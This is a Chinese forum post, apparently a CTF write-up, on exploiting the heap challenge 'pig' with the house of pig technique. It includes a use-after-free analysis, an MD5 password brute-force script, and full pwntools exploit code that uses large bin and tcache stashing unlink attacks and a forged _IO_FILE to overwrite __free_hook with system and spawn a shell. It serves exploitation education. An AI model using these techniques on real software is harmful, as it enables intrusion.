a1 = 0x98BADCFE;
a1 = 0x10325476;
return __readfsqword(0x28u) ^ v2;
}
```

根据条件爆破密码。

```python
import hashlib
import string
import itertools

def find_string(start_char):
    chars = string.ascii_letters + string.digits
    for guess in itertools.product(chars, repeat=5):
      s = start_char + ''.join(guess)
      md5_value = hashlib.md5(s.encode()).hexdigest()
      if md5_value[:6] == '3c4400':
            return s
    return None

print(find_string('A'))
print(find_string('B'))
print(find_string('C'))
```

需要知道每个角色的密码,才能通过对应密码 `md5` 的比较判断,但是这里判断用的 `strcmp`,且其中有个 `md5` 值中的包含 `‘\x00’ ` ,所以实际上会提前截断,而以` ‘\x3c\x44\x00’` 开头的 `md5`,对应的原值其实是有很多的,所以这里可以任意切换角色。

```cpp
unsigned __int64 __fastcall set_info1(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(state, info, 0xC0uLL);
memcpy(state->info1.size, info->size, sizeof(state->info1.size));
memcpy(state->info1.flag2, info->flag2, sizeof(state->info1.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info2(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(&state->info2, info, 0xC0uLL);
memcpy(state->info2.size, info->size, sizeof(state->info2.size));
memcpy(state->info2.flag2, info->flag2, sizeof(state->info2.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info3(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(&state->info3, info, 0xC0uLL);
memcpy(state->info3.size, info->size, sizeof(state->info3.size));
memcpy(state->info3.flag2, info->flag2, sizeof(state->info3.flag2));
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 __fastcall get_info_1(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(info, state, 0xC0uLL);
memcpy(info->size, state->info1.size, sizeof(info->size));
memcpy(info->flag1, state->info1.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info1.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info2(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(info, &state->info2, 0xC0uLL);
memcpy(info->size, state->info2.size, sizeof(info->size));
memcpy(info->flag1, state->info2.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info2.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info_3(Info *info)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
memcpy(info, &state->info3, 0xC0uLL);
memcpy(info->size, state->info3.size, sizeof(info->size));
memcpy(info->flag1, state->info3.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info3.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
```

在检查函数通过之后,如果我们会更换用户,则会将原来用户分配的`chunk`复制到一个程序预先分配号的一块空间,然后将新用户的`chunk`以及标志位等从那一块空间中复制出来。

### 漏洞利用

本题的漏洞就在于用户的分配上。由于新用户只是复制了第二个标志位,对于某个`chunk`的索引而言,如果原用户的两个对应标志位均为0,而新用户的两个标志位为1,则用户转换后,两个标志位分别为0和1。注意`view message`和`edit message`检查的都是第1个标志位是否为0,对于新用户而言,这个索引原本的`chunk`是已经被释放的,但这样一来我们就可以再一次访问这个`chunk`,这就产生了`UAF`。我们可以申请到在`tcache`保存大小范围的`chunk`,也可以申请到大于`tcache`大小的`chunk`,而且程序通过`calloc` 分配堆块会跨过 `tcache`,符合 `house of pig` 利用条件。关于新版本 `largebin_attack` 和 `tcache_stashing_unlink_attack` 请看前言提到的文章。

**前置脚本**

```python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password =
current_user = 0

def add(content_length, content = None):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'message size: ', str(content_length).encode())
    if content is None:
      content = str(current_user) * (content_length // 0x30 * 0x10)
    io.sendafter(b'message: ', content)
    sleep(0.1)

def view(index):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def edit(index, content):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())
    io.sendafter(b'message: ', content)
    sleep(0.1)

def delete(index):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def change_role(role):
    global current_user
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', password)
    current_user = role
    sleep(0.1)
```

**泄露地址并部署堆**

```python
def leak_addr():
    global libc_base, system, __free_hook, _IO_list_all, heap_address
    # 部署tcache stashing unlink attack的堆环境
    change_role(1)
    for i in range(5):      # make 5 chunk into tcache, mummy index 0~4
      add(0xA0)
      delete(i)

    change_role(0)
    add(0x150)    # peppa index 0
    for i in range(7):      # fill 0x120 tcache, peppa index 1~7
      add(0x150)
      delete(i + 1)
    delete(0)               # peppa #0 into unsorted bin

    gdb.attach(io)
    pause()

    change_role(1)
    add(0xA0)               # mummy index 5, split peppa #0
    change_role(0)
    add(0x160)            # peppa index 8
    for i in range(7):      # fill 0x130 tcache, peppa index 9~15
      add(0x160)
      delete(i + 9)
    delete(8)
    change_role(1)
    change_role(0)

    gdb.attach(io)
    pause()

    view(8)               # get libc base address
    io.recv(0x10)
    libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    _IO_list_all = libc_base + libc.symbols['_IO_list_all']
    change_role(1)
    add(0xB0)               # mummy index 6, split peppa #8

    # 获取堆地址
    change_role(0)
    change_role(1)

    gdb.attach(io)
    pause()

    view(1)
    io.recv(0x10)
    heap_address = u64(io.recv(6) + b'\x00\x00')      # get a heap address

    print('libc base: ', hex(libc_base))
    print('system: ', hex(system))
    print('__free_hook: ', hex(__free_hook))
    print('_IO_list_all: ', hex(_IO_list_all))
    print('heap address: ', hex(heap_address))
```

`tcache stashing unlink`的堆环境要求有`5`个`chunk`位于同一个`tcache bins`中,同时有2个相同大小的`chunk`位于`small bins`,之后通过修改`small bins`中链首`chunk`的`bk`指针可以将任意地址链入到`tcache`。

这里先将 `peppa(0)` 放进 `unsorted bin`,之后将其切分,由于转换身份时存在 `UAF` 漏洞,可以以此泄露 `libc` 地址,不过要注意先将对应的 `tcache` 填满。切分后我们再次申请 `0x160` 大小的 `chunk` 将剩余部分放进 `small bin` 中已备 `tcache stashing unlink attack` 攻击。





同理也可以利用身份转换的 `UAF` 漏洞泄露堆地址,通过 `tcache` 的 `fd` 指针泄露堆地址,两次`view`的机会全部用完了,后面将不能使用`view`查看。我们这里`add(0xb0)`时将 `unsorted bin` 中的 `chunk` 切割成了 `0xb0` 大小。



**第一次large bin attack**

```python
def first_largebin_attack():
    # first large bin attack
    change_role(1)
    add(0x440)   # mummy index = 7
    change_role(0)
    add(0x430)   # peppa index = 16
    add(0x430)   # peppa index = 17
    add(0x430)   # peppa index = 18
    add(0x430)   # peppa index = 19
    change_role(1)
    delete(7)
    add(0x450)   # mummy index = 8, switch mummy #7 into large bin
    change_role(0)
    delete(17)
    change_role(1)
    change_role(0)
    change_role(1)
    edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    add(0xF0)    # daddy index = 0, complete first large bin attack
```

`large bin attack` 可以任意地址写堆地址,我们可以使得 `__free_hook` 周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 `large_bin_chunk.bk_nextsize -> (__free_hook - 0x30)`,再次申请 `0xf0` 大小的 `chunk` 时会先把 `unsorted_bin_chunk` 放进 `large bin` ,再去 `large bin` 中找到合适的 `chunk` 进行切割。借此可以完成 `large bin attack`。

构造的结构如下:



攻击后如下:



**第二次 large bin attack**

```python
def second_largebin_attack():
    # second large bin attack
    change_role(1)
    change_role(0)
    delete(19)
    change_role(1)
    edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 1, complete first large bin attack
    #pause()
```



第二次 `large bin attack`,我们的目标是将未来的假 `_IO_FILE`地址写到`_IO_list_all`中。上一次 `large bin attack`中使用的`large bin`是可以重用的,我们将`bk_nextsize`指针改到其他位置还能够再一次进行攻击。第二次`large bin attack`应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造`_IO_FILE`结构体应该在`daddy`分配索引为4的`chunk`时附加送给我们的一个`chunk`中进行构造。向`_IO_list_all`中写入的是`large bin chunk`的地址,如果想要这里同时也指向假`_IO_FILE`指针,就需要计算好`chunk`的分配数量,在`calloc(0xE8)`时能够正好让这个`chunk`被拆分,这样就实现了此处可写。可以让`bk_nextsize`的值为`_IO_list_all-0x20`。

构造如下:



攻击后:



这里`_IO_list_all`已经指向了我们伪造的 `fake_IO_FILE`。

**tcache stashing unlink attack**

```python
def tcache_stashing_unlink_attack():
    # tcache stashing unlink attack
    change_role(0)
    edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
    change_role(2)
    add(0x230)   # daddy index = 2
    change_role(2)
    add(0x430)   # daddy index = 3
    change_role(1)
    edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
    change_role(2)
    add(0xA0)   # daddy index = 4, trigger tcache stashing unlink attack

    fake_IO_FILE_complete = p64(0) * 2# _IO_read_end (0x10), _IO_read_base (0x18)
    fake_IO_FILE_complete += p64(1)   # _IO_write_base (0x20)
    fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
    fake_IO_FILE_complete += p64(0)   # _IO_write_end (0x30)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)# _IO_buf_base (0x38)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)# _IO_buf_end (0x40)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
    fake_IO_FILE_complete += p64(0)   # _mode (0xB0)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
    fake_IO_FILE_complete += b'/bin/sh\x00'
    fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
    payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
    io.sendafter(b'Gift:', payload)
```

在第一次 `large bin attack`之后,我们将一个堆地址写到了`__free_hook-10`的位置,接下来就需要通过 `tcache stashing unlink attack`将这个地址用`_IO_str_overflow`函数中的`malloc`函数分配出来,然后利用 `memcpy` 将其改写为 `system` 地址,并传入 `/bin/sh\x00` 参数,通过 `exit` 函数触发即可。

构造的堆空间:





此时用 `calloc` 申请 `0xA0` 大小的堆块会跨过 `tcache` 从 `small bin` 获取, `tcache` 未满将会把 `small bin` 中的堆块先放进 `tcache` 中。

攻击后:



成功链接进入 `tcache`。



构造的 `fake_IO_FILE`:





`_IO_buf_end - _IO_buf_base = 30`,所以申请的大小刚好为 `30*2+100=0xA0`,会把 `__free_hook` 申请出来。



我们申请出来的用户空间在 `0x...30`,而 `&__free_hook = 0x...48`,我们将 `old_buf == _IO_buf_base` 指向这样的地址 `b'/bin/sh\x00'+p64(system_addr)*2`就可以把 `system` 地址写入到 `__free_hook`,并且把 `_IO_buf_base ->'/bin/sh\x00'` 作为其参数调用。





**exp**

```python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password =
current_user = 0

def add(content_length, content = None):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'message size: ', str(content_length).encode())
    if content is None:
      content = str(current_user) * (content_length // 0x30 * 0x10)
    io.sendafter(b'message: ', content)
    sleep(0.1)

def view(index):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def edit(index, content):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())
    io.sendafter(b'message: ', content)
    sleep(0.1)

def delete(index):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def change_role(role):
    global current_user
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', password)
    current_user = role
    sleep(0.1)

def leak_addr():
    global libc_base, system, __free_hook, _IO_list_all, heap_address
    # 部署tcache stashing unlink attack的堆环境
    change_role(1)
    for i in range(5):      # make 5 chunk into tcache, mummy index 0~4
      add(0xA0)
      delete(i)

    change_role(0)
    add(0x150)    # peppa index 0
    for i in range(7):      # fill 0x120 tcache, peppa index 1~7
      add(0x150)
      delete(i + 1)
    delete(0)               # peppa #0 into unsorted bin

    # gdb.attach(io)
    # pause()

    change_role(1)
    add(0xA0)               # mummy index 5, split peppa #0
    change_role(0)
    add(0x160)            # peppa index 8
    for i in range(7):      # fill 0x130 tcache, peppa index 9~15
      add(0x160)
      delete(i + 9)
    delete(8)

    change_role(1)
    change_role(0)

    # gdb.attach(io)
    # pause()

    view(8)               # get libc base address
    io.recv(0x10)
    libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    _IO_list_all = libc_base + libc.symbols['_IO_list_all']
    change_role(1)
    add(0xB0)               # mummy index 6, split peppa #8

    # 获取堆地址
    change_role(0)
    change_role(1)

    # gdb.attach(io)
    # pause()

    view(1)
    io.recv(0x10)
    heap_address = u64(io.recv(6) + b'\x00\x00')      # get a heap address

    print('libc base: ', hex(libc_base))
    print('system: ', hex(system))
    print('__free_hook: ', hex(__free_hook))
    print('_IO_list_all: ', hex(_IO_list_all))
    print('heap address: ', hex(heap_address))


def first_largebin_attack():
    # first large bin attack
    change_role(1)
    add(0x440)   # mummy index = 7
    change_role(0)
    add(0x430)   # peppa index = 16
    add(0x430)   # peppa index = 17
    add(0x430)   # peppa index = 18
    add(0x430)   # peppa index = 19
    change_role(1)
    delete(7)
    add(0x450)   # mummy index = 8, switch mummy #7 into large bin
    change_role(0)
    delete(17)
    change_role(1)
    change_role(0)
    change_role(1)
    edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 0, complete first large bin attack
    #pause()

def second_largebin_attack():
    # second large bin attack
    change_role(1)
    change_role(0)
    delete(19)
    change_role(1)
    edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 1, complete first large bin attack
    #pause()

def tcache_stashing_unlink_attack():
    # tcache stashing unlink attack
    change_role(0)
    edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
    change_role(2)
    add(0x230)   # daddy index = 2
    change_role(2)
    add(0x430)   # daddy index = 3
    change_role(1)
    edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
    change_role(2)
    #gdb.attach(io)
    add(0xA0)   # daddy index = 4, trigger tcache stashing unlink attack
    #pause()

    fake_IO_FILE_complete = p64(0) * 2# _IO_read_end (0x10), _IO_read_base (0x18)
    fake_IO_FILE_complete += p64(1)   # _IO_write_base (0x20)
    fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
    fake_IO_FILE_complete += p64(0)   # _IO_write_end (0x30)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)# _IO_buf_base (0x38)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)# _IO_buf_end (0x40)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
    fake_IO_FILE_complete += p64(0)   # _mode (0xB0)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
    fake_IO_FILE_complete += b'/bin/sh\x00'
    fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
    payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
    #gdb.attach(io)
    io.sendafter(b'Gift:', payload)
    #pause()

def pwn():
    leak_addr()
    first_largebin_attack()
    second_largebin_attack()
    tcache_stashing_unlink_attack()
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', b'')
    io.interactive()

if __name__ == '__main__':
    pwn()
```

zufgj 发表于 2023-10-30 17:27

学习学习!!!

anhuizhubao 发表于 2023-10-30 17:37

学习了!

blackt3a 发表于 2023-10-30 20:30

学习了。。

shengrumenghuan 发表于 2023-10-31 11:38

学习了,谢谢

bc001 发表于 2023-10-31 21:19

先生真乃神 人也。
页: [1]
查看完整版本: IO_FILE 利用明析